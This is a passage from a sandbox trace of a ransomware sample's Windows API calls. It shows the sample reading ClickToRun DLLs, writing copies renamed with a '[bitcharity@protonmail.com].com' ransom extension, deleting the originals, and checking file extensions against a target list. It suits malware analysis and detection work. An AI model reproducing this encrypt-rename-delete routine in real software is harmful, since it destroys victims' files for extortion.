Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.202] lstrlenW (lpString=".jpg") returned 4 [0289.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.202] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.202] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0289.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.202] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=24768) returned 1 [0289.202] CloseHandle (hObject=0x10b8) returned 1 [0289.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0289.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.202] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.202] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0289.203] GetLastError () returned 0x0 [0289.203] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0289.205] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0289.206] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.206] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x112, lpOverlapped=0x0) returned 1 [0289.207] SetEndOfFile (hFile=0x10b0) returned 1 [0289.207] CloseHandle (hObject=0x10b0) returned 1 [0289.207] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.207] SetEndOfFile (hFile=0x10b8) returned 1 [0289.208] CloseHandle (hObject=0x10b8) returned 1 [0289.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.208] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0289.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.209] lstrlenW (lpString=".doc") returned 4 [0289.209] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.209] lstrlenW (lpString=".docx") returned 5 [0289.209] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.209] lstrlenW (lpString=".pdf") returned 4 [0289.209] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.209] lstrlenW (lpString=".xls") returned 4 [0289.209] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.209] lstrlenW (lpString=".xlsx") returned 5 [0289.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.209] lstrlenW (lpString=".ppt") returned 4 [0289.209] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.209] lstrlenW (lpString=".zip") returned 4 [0289.209] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.209] lstrlenW (lpString=".rar") returned 4 [0289.209] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.209] lstrlenW (lpString=".bz2") returned 4 [0289.209] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.209] lstrlenW (lpString=".7z") returned 3 [0289.209] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.209] lstrlenW (lpString=".dbf") returned 4 [0289.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.209] lstrlenW (lpString=".1cd") returned 4 [0289.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.210] lstrlenW (lpString=".jpg") returned 4 [0289.210] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.210] lstrlenW (lpString=".doc") returned 4 [0289.210] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString=".docx") returned 5 [0289.210] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.210] lstrlenW (lpString=".pdf") returned 4 [0289.210] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString=".xls") returned 4 [0289.210] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString=".xlsx") returned 5 [0289.210] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.210] lstrlenW (lpString=".ppt") returned 4 [0289.210] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.210] lstrlenW (lpString=".zip") returned 4 [0289.210] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString=".rar") returned 4 [0289.210] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.210] lstrlenW (lpString=".bz2") returned 4 [0289.210] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.210] lstrlenW (lpString=".7z") returned 3 [0289.210] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.210] lstrlenW (lpString=".dbf") returned 4 [0289.211] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.211] lstrlenW (lpString=".1cd") returned 4 [0289.211] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0289.211] lstrlenW (lpString=".jpg") returned 4 [0289.211] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.211] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.211] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0289.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.211] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=24768) returned 1 [0289.211] CloseHandle (hObject=0x10b8) returned 1 [0289.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0289.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.212] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.212] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0289.212] GetLastError () returned 0x0 [0289.212] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0289.214] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0289.216] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.216] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x114, lpOverlapped=0x0) returned 1 [0289.216] SetEndOfFile (hFile=0x10b0) returned 1 [0289.216] CloseHandle (hObject=0x10b0) returned 1 [0289.216] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.216] SetEndOfFile (hFile=0x10b8) returned 1 [0289.217] CloseHandle (hObject=0x10b8) returned 1 [0289.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.217] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.218] lstrlenW (lpString=".doc") returned 4 [0289.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString=".docx") returned 5 [0289.218] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.218] lstrlenW (lpString=".pdf") returned 4 [0289.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString=".xls") returned 4 [0289.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString=".xlsx") returned 5 [0289.218] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.218] lstrlenW (lpString=".ppt") returned 4 [0289.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.218] lstrlenW (lpString=".zip") returned 4 [0289.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString=".rar") returned 4 [0289.218] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString=".bz2") returned 4 [0289.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.218] lstrlenW (lpString=".7z") returned 3 [0289.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.218] lstrlenW (lpString=".dbf") returned 4 [0289.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.218] lstrlenW (lpString=".1cd") returned 4 [0289.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.218] lstrlenW (lpString=".jpg") returned 4 [0289.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.219] lstrlenW (lpString=".doc") returned 4 [0289.219] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.219] lstrlenW (lpString=".docx") returned 5 [0289.219] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.219] lstrlenW (lpString=".pdf") returned 4 [0289.219] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.219] lstrlenW (lpString=".xls") returned 4 [0289.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.219] lstrlenW (lpString=".xlsx") returned 5 [0289.219] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.219] lstrlenW (lpString=".ppt") returned 4 [0289.219] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.219] lstrlenW (lpString=".zip") returned 4 [0289.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.219] lstrlenW (lpString=".rar") returned 4 [0289.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.219] lstrlenW (lpString=".bz2") returned 4 [0289.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.219] lstrlenW (lpString=".7z") returned 3 [0289.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.219] lstrlenW (lpString=".dbf") returned 4 [0289.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.219] lstrlenW (lpString=".1cd") returned 4 [0289.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0289.219] lstrlenW (lpString=".jpg") returned 4 [0289.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.220] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.220] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0289.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.220] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=21184) returned 1 [0289.220] CloseHandle (hObject=0x10b8) returned 1 [0289.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0289.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.220] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.220] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0289.221] GetLastError () returned 0x0 [0289.221] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0289.379] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0289.380] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.380] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x110, lpOverlapped=0x0) returned 1 [0289.381] SetEndOfFile (hFile=0x10b0) returned 1 [0289.381] CloseHandle (hObject=0x10b0) returned 1 [0289.381] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.381] SetEndOfFile (hFile=0x10b8) returned 1 [0289.382] CloseHandle (hObject=0x10b8) returned 1 [0289.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.382] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0289.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.416] lstrlenW (lpString=".doc") returned 4 [0289.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.416] lstrlenW (lpString=".docx") returned 5 [0289.416] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.416] lstrlenW (lpString=".pdf") returned 4 [0289.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.416] lstrlenW (lpString=".xls") returned 4 [0289.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.417] lstrlenW (lpString=".xlsx") returned 5 [0289.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.417] lstrlenW (lpString=".ppt") returned 4 [0289.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.417] lstrlenW (lpString=".zip") returned 4 [0289.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.417] lstrlenW (lpString=".rar") returned 4 [0289.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.417] lstrlenW (lpString=".bz2") returned 4 [0289.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.417] lstrlenW (lpString=".7z") returned 3 [0289.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.417] lstrlenW (lpString=".dbf") returned 4 [0289.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.417] lstrlenW (lpString=".1cd") returned 4 [0289.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.417] lstrlenW (lpString=".jpg") returned 4 [0289.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.417] lstrlenW (lpString=".doc") returned 4 [0289.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.417] lstrlenW (lpString=".docx") returned 5 [0289.418] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.418] lstrlenW (lpString=".pdf") returned 4 [0289.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.418] lstrlenW (lpString=".xls") returned 4 [0289.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.418] lstrlenW (lpString=".xlsx") returned 5 [0289.418] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.418] lstrlenW (lpString=".ppt") returned 4 [0289.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.418] lstrlenW (lpString=".zip") returned 4 [0289.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.418] lstrlenW (lpString=".rar") returned 4 [0289.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.418] lstrlenW (lpString=".bz2") returned 4 [0289.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.418] lstrlenW 